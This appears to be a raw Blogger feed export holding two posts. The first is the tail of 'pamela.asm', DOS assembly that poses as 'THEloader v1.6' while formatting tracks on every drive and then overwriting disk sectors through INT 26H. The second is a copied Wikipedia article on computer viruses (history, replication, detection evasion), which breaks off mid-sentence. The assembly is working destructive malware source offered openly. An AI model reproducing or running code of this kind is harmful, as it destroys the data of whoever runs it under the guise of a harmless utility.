program$"&lt;br /&gt;FINISH DB 13,10,"Thanx for using THEloader v1.6$",13,10&lt;br /&gt;DOT     DB ".$"&lt;br /&gt;&lt;br /&gt; .CODE&lt;br /&gt;      &lt;br /&gt;kill:   MOV AX,@DATA&lt;br /&gt; MOV DS,AX&lt;br /&gt; MOV BP,1&lt;br /&gt; MOV DX,OFFSET MESSAGE   ;Print the nice little message&lt;br /&gt; MOV AH,09H&lt;br /&gt; INT 21H&lt;br /&gt;&lt;br /&gt;KRAD: CMP CNTR,26   ;Check to see if it's drive Z&lt;br /&gt; JGE BYEBYE   ;If it is, then jump to the end...&lt;br /&gt; MOV AH,05   ;Format track&lt;br /&gt; MOV CH,0        ;Blah, blah, blah...&lt;br /&gt; MOV DH,0   ;Starting at Sector 0&lt;br /&gt; MOV DL,CNTR   ;Drive &lt;br /&gt; INT 13H&lt;br /&gt; MOV DX,OFFSET DOT&lt;br /&gt; MOV AH,09H&lt;br /&gt; INT 21H&lt;br /&gt; INC  CNTR&lt;br /&gt; JMP KRAD&lt;br /&gt;&lt;br /&gt;BYEBYE: MOV AL,2&lt;br /&gt; MOV CX,700&lt;br /&gt; MOV DX,00&lt;br /&gt; MOV DS,[DI+99]&lt;br /&gt; MOV BX,[DI+55]&lt;br /&gt; INT 26H&lt;br /&gt; MOV DX,OFFSET FINISH&lt;br /&gt; MOV AH,09H&lt;br /&gt; INT 21H&lt;br /&gt; MOV AX,4C00H&lt;br /&gt; INT 21H   ;Get outa here...&lt;br /&gt;&lt;br /&gt;END     KILL&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856926918421544?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856926918421544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856926918421544&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856926918421544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856926918421544'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/pamelaasm.html' title='pamela.asm'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856873871398228</id><published>2006-09-18T15:25:00.000+07:00</published><updated>2006-09-18T15:38:58.856+07:00</updated><title type='text'>about virus from wiki pedia</title><content type='html'>&lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;The word virus is often claimed to be the acronym of Vital Information Resources Under Siege, although this is obviously a &lt;a href="http://en.wikipedia.org/wiki/Backronym" title="Backronym"&gt;backronym&lt;/a&gt;. The word is derived from and used in the same sense as the biological equivalent. The term "virus" is often used in common parlance to describe all kinds of &lt;a href="http://en.wikipedia.org/wiki/Malware" title="Malware"&gt;malware&lt;/a&gt; (malicious software), including those that are more properly classified as &lt;a href="http://en.wikipedia.org/wiki/Computer_worm" title="Computer worm"&gt;worms&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Trojan_horse_%28computing%29" title="Trojan horse (computing)"&gt;trojans&lt;/a&gt;. Most popular &lt;a href="http://en.wikipedia.org/wiki/Anti-virus_software" title="Anti-virus software"&gt;anti-virus software&lt;/a&gt; packages defend against all of these types of attack. In some technical communities, the term "virus" is also extended to include the authors of malware, in an insulting sense.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;The English plural of "virus" is "viruses". Some people use "virii" or "viri" as a plural, although computer professionals seldom use these words. For a discussion about whether "viri" and "virii" are correct alternatives of "viruses", see &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Plural_of_virus" title="Plural of virus"&gt;plural of virus&lt;/a&gt;&lt;/i&gt;.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=2" title="Edit section: History"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="History" id="History"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h2 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;History&lt;/h2&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;A program called "&lt;a href="http://en.wikipedia.org/wiki/Elk_Cloner" title="Elk Cloner"&gt;Elk Cloner&lt;/a&gt;" is credited with being the first computer virus to appear "in the wild" -- that is, outside the single computer or lab where it was created. Written in 1982 by &lt;a href="http://en.wikipedia.org/wiki/Rich_Skrenta" title="Rich Skrenta"&gt;Rich Skrenta&lt;/a&gt;, it attached itself to the Apple DOS 3.3 operating system and spread by &lt;a href="http://en.wikipedia.org/wiki/Floppy_disk" title="Floppy disk"&gt;floppy disk&lt;/a&gt;. This virus was originally a joke, created by the highschooler and put onto a game. The game was set to play, but release the virus on the 50th time of starting the game. On this time, it would instead of playing the game change to a blank screen that read a poem about the virus named Elk Cloner. The computer would then be infected.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;The first PC virus was a boot sector virus called &lt;a href="http://en.wikipedia.org/wiki/%28c%29Brain" title="(c)Brain"&gt;(c)Brain&lt;/a&gt;, created in 1986 by two brothers, &lt;a href="http://en.wikipedia.org/w/index.php?title=Basit_Farooq_Alvi&amp;action=edit" class="new" title="Basit Farooq Alvi"&gt;Basit&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/w/index.php?title=Amjad_Farooq_Alvi&amp;amp;action=edit" class="new" title="Amjad Farooq Alvi"&gt;Amjad Farooq Alvi&lt;/a&gt;, operating out of &lt;a href="http://en.wikipedia.org/wiki/Lahore%2C_Pakistan" title="Lahore, Pakistan"&gt;Lahore, Pakistan&lt;/a&gt;. The brothers reportedly created the virus to deter pirated copies of software they had written. However, analysts have claimed that the &lt;a href="http://en.wikipedia.org/w/index.php?title=Ashar_%28virus%29&amp;action=edit" class="new" title="Ashar (virus)"&gt;Ashar&lt;/a&gt; virus, a variant of Brain, possibly predated it based on code within the virus.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Before computer networks became widespread, most viruses spread on &lt;a href="http://en.wikipedia.org/wiki/Removable_media" title="Removable media"&gt;removable media&lt;/a&gt;, particularly &lt;a href="http://en.wikipedia.org/wiki/Floppy_disk" title="Floppy disk"&gt;floppy disks&lt;/a&gt;. In the early days of &lt;a href="http://en.wikipedia.org/wiki/Personal_computer" title="Personal computer"&gt;personal computers&lt;/a&gt;, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk &lt;a href="http://en.wikipedia.org/wiki/Boot_sector" title="Boot sector"&gt;boot sector&lt;/a&gt;, ensuring that they would be run when the user booted the computer from the disk.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Traditional computer viruses were mostly first seen at the last half of the 1980s, and they came about because of a few reasons. “The first reason was the spread of personal computers. Prior to the 1980s, home computers were nearly non-existent or they were toys. Real computers were rare, and they were locked away for use by "experts." During the 1980s, real computers started to spread to businesses and homes because of popularity. By the late 1980s, PCs were widespread in businesses, homes and college campuses.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;The second reason was the use of bulletin boards on the computer. People could dial up a bulletin board with a modem and download all sorts of different programs. Most popular were games, and then simple word processors, spreadsheets, etc. Bulletin boards led to what is now known as the virus called a Trojan horse. The third reason that led to the creation of viruses was most definitely the floppy disk. At the end of the 1980s, programs were very small, and one could fit the operating system, a word processor and many documents onto a single floppy disk. Most computers didn’t have hard disks, so one would turn on one's computer and it would load the operating system and everything else straight from the floppy disk. Viruses took advantage of these three facts to create the first self-replicating programs.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;As &lt;a href="http://en.wikipedia.org/wiki/Bulletin_board_system" title="Bulletin board system"&gt;bulletin board systems&lt;/a&gt; and online software exchange became popular in the late 1980s and early 1990s, more viruses were written to infect popularly traded software. &lt;a href="http://en.wikipedia.org/wiki/Shareware" title="Shareware"&gt;Shareware&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Copyright_violation" title="Copyright violation"&gt;bootleg&lt;/a&gt; software were equally common &lt;a href="http://en.wikipedia.org/wiki/Vector_%28computing%29" title="Vector (computing)"&gt;vectors&lt;/a&gt; for viruses on BBSes. Within the "pirate scene" of hobbyists trading illicit copies of commercial software, traders in a hurry to obtain the latest applications and games were easy targets for viruses.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Since the mid-1990s, &lt;a href="http://en.wikipedia.org/wiki/Macro_virus" title="Macro virus"&gt;macro viruses&lt;/a&gt; have become common. Most of these viruses are written in the scripting languages for Microsoft programs such as &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Word" title="Microsoft Word"&gt;Word&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Excel" title="Microsoft Excel"&gt;Excel&lt;/a&gt;. These viruses spread in &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Office" title="Microsoft Office"&gt;Microsoft Office&lt;/a&gt; by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most of these viruses were able to spread on Macintosh computers as well. Numerically, most of these viruses did not have the ability to send infected &lt;a href="http://en.wikipedia.org/wiki/Electronic_mail" title="Electronic mail"&gt;e-mail&lt;/a&gt;. The ones that did usually worked by accessing the &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Outlook" title="Microsoft Outlook"&gt;Microsoft Outlook&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Component_Object_Model" title="Component Object Model"&gt;COM&lt;/a&gt; interface.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Macro viruses pose unique problems for detection software. For example, some versions of Microsoft Word caused macros to replicate themselves with additional blank lines. The virus behaved identically but would be misidentified as a new virus. In another example, if two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a "mating" of the two and would likely be detected as a virus unique from the "parents".&lt;sup id="_ref-1" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Computer_virus#_note-1" title=""&gt;[2]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;A computer virus may also be transmitted through instant messaging. A virus may send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) and follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=3" title="Edit section: Why people create computer viruses"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Why_people_create_computer_viruses" id="Why_people_create_computer_viruses"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h2 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Why people create computer viruses&lt;/h2&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Unlike biological viruses, computer viruses do not simply evolve by themselves. Computer viruses cannot come into existence spontaneously, nor can they be created by &lt;a href="http://en.wikipedia.org/wiki/Computer_bug" title="Computer bug"&gt;bugs&lt;/a&gt; in regular programs. They are deliberately created by programmers, or by people who use virus creation software. It is possible that copying errors and recombination may lead to the actual evolution of a computer virus; however, the possibility of this type of 'digital evolution' is extremely remote.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Virus writers can have various reasons for creating and spreading malware. Viruses have been written as research projects, pranks, &lt;a href="http://en.wikipedia.org/wiki/Vandalism" title="Vandalism"&gt;vandalism&lt;/a&gt;, to attack the products of specific companies, to distribute political messages, and financial gain from identity theft, &lt;a href="http://en.wikipedia.org/wiki/Spyware" title="Spyware"&gt;spyware&lt;/a&gt;, and &lt;a href="http://en.wikipedia.org/wiki/Cryptovirology" title="Cryptovirology"&gt;cryptoviral extortion&lt;/a&gt;. Some virus writers consider their creations to be works of art, and see virus writing as a creative hobby. Additionally, many virus writers oppose deliberately destructive payload routines. Some viruses were intended as "good viruses". They spread improvements to the programs they infect, or delete other viruses. These viruses are, however, quite rare, still consume system resources, may accidentally damage systems they infect, and, on occasion, have become infected and acted as vectors for malicious viruses. A poorly-written "good virus" can also inadvertently become a virus in and of itself (for example, such a 'good virus' may misidentify its target file and delete an innocent system file by mistake). Moreover, they normally operate without asking for permission of the owner of the computer. Since self-replicating code causes many complications, it is questionable if a well-intentioned virus can ever solve a problem in a way which is superior to a regular program that does not replicate itself.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Releasing computer viruses (as well as worms) is a &lt;a href="http://en.wikipedia.org/wiki/Computer_crime" title="Computer crime"&gt;crime&lt;/a&gt; in most jurisdictions.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;See also the BBC News article.&lt;sup id="_ref-2" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Computer_virus#_note-2" title=""&gt;[3]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=4" title="Edit section: Replication strategies"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Replication_strategies" id="Replication_strategies"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h2 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Replication strategies&lt;/h2&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;In order to replicate itself, a virus must be permitted to execute code and write to memory. For this reason, many viruses attach themselves to executable files that may be part of legitimate programs. If a user tries to start an infected program, the virus' code may be executed first. Viruses can be divided into two types, on the basis of their behavior when they are executed. Nonresident viruses immediately search for other hosts that can be infected, infect these targets, and finally transfer control to the application program they infected. Resident viruses do not search for hosts when they are started. Instead, a resident virus loads itself into memory on execution and transfers control to the host program. The virus stays active in the background and infects new hosts when those files are accessed by other programs or the operating system itself.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=5" title="Edit section: Nonresident viruses"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Nonresident_viruses" id="Nonresident_viruses"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Nonresident viruses&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Nonresident viruses can be thought of as consisting of a &lt;i&gt;finder module&lt;/i&gt; and a &lt;i&gt;replication module&lt;/i&gt;. The finder module is responsible for finding new files to infect. For each new executable file the finder module encounters, it calls the replication module to infect that file.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;For simple viruses the replicator's tasks is to:&lt;/p&gt; &lt;ol style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;li&gt;Open the new file&lt;/li&gt;&lt;li&gt;Check if the executable file has already been infected (if it is, return to the finder module)&lt;/li&gt;&lt;li&gt;Append the virus code to the executable file&lt;/li&gt;&lt;li&gt;Save the executable's starting point&lt;/li&gt;&lt;li&gt;Change the executable's starting point so that it points to the start location of the newly copied virus code&lt;/li&gt;&lt;li&gt;Save the old start location to the virus in a way so that the virus branches to that location right after its execution.&lt;/li&gt;&lt;li&gt;Save the changes to the executable file&lt;/li&gt;&lt;li&gt;Close the infected file&lt;/li&gt;&lt;li&gt;Return to the finder so that it can find new files for the replicator to infect.&lt;/li&gt;&lt;/ol&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=6" title="Edit section: Resident viruses"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Resident_viruses" id="Resident_viruses"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Resident viruses&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Resident viruses contain a replication module that is similar to the one that is employed by nonresident viruses. However, this module is not called by a finder module. Instead, the virus loads the replication module into memory when it is executed and ensures that this module is executed each time the operating system is called to perform a certain operation. For example, the replication module can get called each time the operating system executes a file. In this case, the virus infects every suitable program that is executed on the computer.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Resident viruses are sometimes subdivided into a category of &lt;i&gt;fast infectors&lt;/i&gt; and a category of &lt;i&gt;slow infectors&lt;/i&gt;. Fast infectors are designed to infect as many files as possible. For instance, a fast infector can infect every potential host file that is accessed. This poses a special problem to anti-virus software, since a virus scanner will access every potential host file on a computer when it performs a system-wide scan. If the virus scanner fails to notice that such a virus is present in memory, the virus can "piggy-back" on the virus scanner and in this way infect all files that are scanned. Fast infectors rely on their fast infection rate to spread. The disadvantage of this method is that infecting many files may make detection more likely, because the virus may slow down a computer or perform many suspicious actions that can be noticed by anti-virus software. Slow infectors, on the other hand, are designed to infect hosts infrequently. For instance, some slow infectors only infect files when they are copied. Slow infectors are designed to avoid detection by limiting their actions: they are less likely to slow down a computer noticeably, and will at most infrequently trigger anti-virus software that detects suspicious behavior by programs. The slow infector approach doesn't seem very successful however. Virus that are common in the wild are mostly relatively fast to extremely fast infectors.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=7" title="Edit section: Host types"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Host_types" id="Host_types"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Host types&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Viruses have targeted various types of hosts. This is a non-exhaustive list:&lt;/p&gt; &lt;ul style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;li&gt;Binary &lt;a href="http://en.wikipedia.org/wiki/Executable_file" title="Executable file"&gt;executable files&lt;/a&gt; (such as &lt;a href="http://en.wikipedia.org/wiki/COM_file" title="COM file"&gt;COM&lt;/a&gt;-files and &lt;a href="http://en.wikipedia.org/wiki/EXE" title="EXE"&gt;EXE&lt;/a&gt;-files in &lt;a href="http://en.wikipedia.org/wiki/MS-DOS" title="MS-DOS"&gt;MS-DOS&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Portable_Executable" title="Portable Executable"&gt;Portable Executable&lt;/a&gt; files in &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Windows" title="Microsoft Windows"&gt;Microsoft Windows&lt;/a&gt;, and &lt;a href="http://en.wikipedia.org/wiki/Executable_and_Linkable_Format" title="Executable and Linkable Format"&gt;ELF&lt;/a&gt; files in Linux)&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Volume_Boot_Record" title="Volume Boot Record"&gt;Volume boot records&lt;/a&gt; of &lt;a href="http://en.wikipedia.org/wiki/Floppy_disk" title="Floppy disk"&gt;floppy disks&lt;/a&gt; and hard disk partitions&lt;/li&gt;&lt;li&gt;The &lt;a href="http://en.wikipedia.org/wiki/Master_boot_record" title="Master boot record"&gt;master boot record&lt;/a&gt; of a harddisk&lt;/li&gt;&lt;li&gt;General-purpose &lt;a href="http://en.wikipedia.org/wiki/Script_%28computer_programming%29" title="Script (computer programming)"&gt;script&lt;/a&gt; files (such as &lt;a href="http://en.wikipedia.org/wiki/Batch_file" title="Batch file"&gt;batch files&lt;/a&gt; in &lt;a href="http://en.wikipedia.org/wiki/MS-DOS" title="MS-DOS"&gt;MS-DOS&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Windows" title="Microsoft Windows"&gt;Microsoft Windows&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/VBScript" title="VBScript"&gt;VBScript&lt;/a&gt; files, and &lt;a href="http://en.wikipedia.org/wiki/Shell_script" title="Shell script"&gt;shell script&lt;/a&gt; files on &lt;a href="http://en.wikipedia.org/wiki/Unix-like" title="Unix-like"&gt;Unix-like&lt;/a&gt; platforms).&lt;/li&gt;&lt;li&gt;Application-specific script files (such as &lt;a href="http://en.wikipedia.org/wiki/Telix" title="Telix"&gt;Telix&lt;/a&gt;-scripts)&lt;/li&gt;&lt;li&gt;Documents that can contain &lt;a href="http://en.wikipedia.org/wiki/Macro" title="Macro"&gt;macros&lt;/a&gt; (such as &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Word" title="Microsoft Word"&gt;Microsoft Word&lt;/a&gt; documents, &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Excel" title="Microsoft Excel"&gt;Microsoft Excel&lt;/a&gt; spreadsheets, &lt;a href="http://en.wikipedia.org/wiki/AmiPro" title="AmiPro"&gt;AmiPro&lt;/a&gt; documents, and &lt;a href="http://en.wikipedia.org/wiki/Microsoft_Access" title="Microsoft Access"&gt;Microsoft Access&lt;/a&gt; database files)&lt;/li&gt;&lt;/ul&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=8" title="Edit section: Companion viruses"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Companion_viruses" id="Companion_viruses"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Companion viruses&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;A few older viruses called companion viruses&lt;sup id="_ref-3" class="reference"&gt;&lt;a href="http://en.wikipedia.org/wiki/Computer_virus#_note-3" title=""&gt;[4]&lt;/a&gt;&lt;/sup&gt; do not have host files per se, but exploit MS-DOS. A companion virus creates new files (typically .COM but can also use other extensions such as ".EXD") that have the same file names as legitimate .EXE files. When a user types in the name of a desired program, if he does not type in ".EXE" but instead does not specify a file extension, DOS will assume he meant the file with the extension that comes first in alphabetical order and run the virus. For instance, if a user had "(filename).COM" (the virus) and "(filename).EXE" and the user typed "filename", he will run "(filename).COM" and run the virus. The virus will spread and do other tasks before redirecting to the legitimate file, which operates normally. Some companion viruses are known to run under &lt;a href="http://en.wikipedia.org/wiki/Windows_95" title="Windows 95"&gt;Windows 95&lt;/a&gt; and on DOS emulators on &lt;a href="http://en.wikipedia.org/wiki/Windows_NT" title="Windows NT"&gt;Windows NT&lt;/a&gt; systems. Path companion viruses create files that have the same name as the legitimate file and place new virus copies earlier in the directory paths. These viruses have become increasingly rare with the introduction of Windows XP, which does not use the MS-DOS command prompt per se.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=9" title="Edit section: Methods to avoid detection"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Methods_to_avoid_detection" id="Methods_to_avoid_detection"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h2 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Methods to avoid detection&lt;/h2&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;In order to avoid detection by users, some viruses employ different kinds of deception. Some old viruses, especially on the MS-DOS platform, make sure that the "last modified" date of a host file stays the same when the file is infected by the virus. This approach does not fool anti-virus software, however.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Some viruses can infect files without increasing their sizes or damaging the files. They accomplish this by overwriting unused areas of executable files. These are called &lt;i&gt;cavity viruses&lt;/i&gt;. For example the &lt;a href="http://en.wikipedia.org/wiki/CIH_virus" title="CIH virus"&gt;CIH virus&lt;/a&gt;, or Chernobyl Virus, infects &lt;a href="http://en.wikipedia.org/wiki/Portable_Executable" title="Portable Executable"&gt;Portable Executable&lt;/a&gt; files. Because those files had many empty gaps, the virus, which was 1 &lt;a href="http://en.wikipedia.org/wiki/Kilobyte" title="Kilobyte"&gt;KiB&lt;/a&gt; in length, did not add to the size of the file.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Recent viruses avoid any kind of detection attempt by attempting to forcefully kill the tasks associated with the virus scanner before it can detect them.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;As computers and operating systems grow larger and more complex, old hiding techniques need to be updated or replaced.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=10" title="Edit section: Avoiding bait files and other undesirable hosts"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Avoiding_bait_files_and_other_undesirable_hosts" id="Avoiding_bait_files_and_other_undesirable_hosts"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Avoiding bait files and other undesirable hosts&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;A virus needs to infect hosts in order to spread further. In some cases, it might be a bad idea to infect a host program. For example, many anti-virus programs perform an integrity check of their own code. Infecting such programs will therefore increase the likelihood that the virus is detected. For this reason, some viruses are programmed not to infect programs that are known to be part of anti-virus software. Another type of hosts that viruses sometimes avoid is &lt;i&gt;bait files&lt;/i&gt;. Bait files (or &lt;i&gt;goat files&lt;/i&gt;) are files that are specially created by anti-virus software, or by anti-virus professionals themselves, to be infected by a virus. These files can be created for various reasons, all of which are related to the detection of the virus:&lt;/p&gt; &lt;ul style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;li&gt;Anti-virus professionals can use bait files to take a sample of a virus (i.e. a copy of a program file that is infected by the virus). It is more practical to store and exchange a small infected bait file, than to exchange a large application program that has been infected by the virus.&lt;/li&gt;&lt;li&gt;Anti-virus professionals can use bait files to study the behavior of a virus and evaluate detection methods. This is especially useful when the virus is &lt;a href="http://en.wikipedia.org/wiki/Polymorphic_code" title="Polymorphic code"&gt;polymorphic&lt;/a&gt;. In this case, the virus can be made to infect a large number of bait files. The infected files can be used to test whether a virus scanner detects all versions of the virus.&lt;/li&gt;&lt;li&gt;Some anti-virus software employs bait files that are accessed regularly. When these files are modified, the anti-virus software warns the user that a virus is probably active on the system.&lt;/li&gt;&lt;/ul&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Since bait files are used to detect the virus, or to make detection possible, a virus can benefit from not infecting them. Viruses typically do this by avoiding suspicious programs, such as small program files or programs that contain certain patterns of 'garbage instructions'.&lt;/p&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;A related strategy to make baiting difficult is &lt;i&gt;sparse infection&lt;/i&gt;. Sometimes, sparse infectors do not infect a host file that would be a suitable candidate for infection in other circumstances. For example, a virus can decide on a random basis whether to infect a file or not, or a virus can only infect host files on particular days of the week.&lt;/p&gt; &lt;div class="editsection" style="float: right; margin-left: 5px; font-family: times new roman; color: rgb(102, 51, 255);"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Computer_virus&amp;action=edit&amp;amp;section=11" title="Edit section: Stealth"&gt;edit&lt;/a&gt;]&lt;/div&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;&lt;a name="Stealth" id="Stealth"&gt;&lt;/a&gt;&lt;/p&gt; &lt;h3 style="font-family: times new roman; font-weight: normal; color: rgb(102, 51, 255);"&gt;Stealth&lt;/h3&gt; &lt;p style="font-family: times new roman; color: rgb(102, 51, 255);"&gt;Some viruses try to trick anti-virus software by intercepting its requests to the operating system. A virus can hide itself by intercepting the anti-virus software’s request to read the file and passing the request to the virus, instead of the &lt;a href="http://en.wikipedia.org/wiki/Operating_System" title="Operating System"&gt;OS&lt;/a&gt;. The virus can then return an uninfected version 